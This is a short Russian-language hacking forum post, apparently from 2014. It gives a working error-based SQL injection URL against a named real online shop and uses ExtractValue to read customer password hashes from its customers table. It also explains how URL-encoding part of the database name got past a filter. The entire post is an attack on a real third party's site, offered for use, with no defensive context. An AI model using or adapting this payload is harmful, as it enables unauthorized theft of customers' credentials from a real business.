07.11.2014, 01:36
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
действительно фильтр на имя бд. помогло урл кодирование:
Код:
http://www.formaggiokitchen.com/shop/product_info.php?products_id=792+or(ExtractValue(1,concat(0x3a,(select+mid(customers_password,1,31)+from+forma%67%67iodb_osc.customers+limit+0,1))))=1
где %6767 = gg, то есть имя бд formaggiodb_osc |
|
|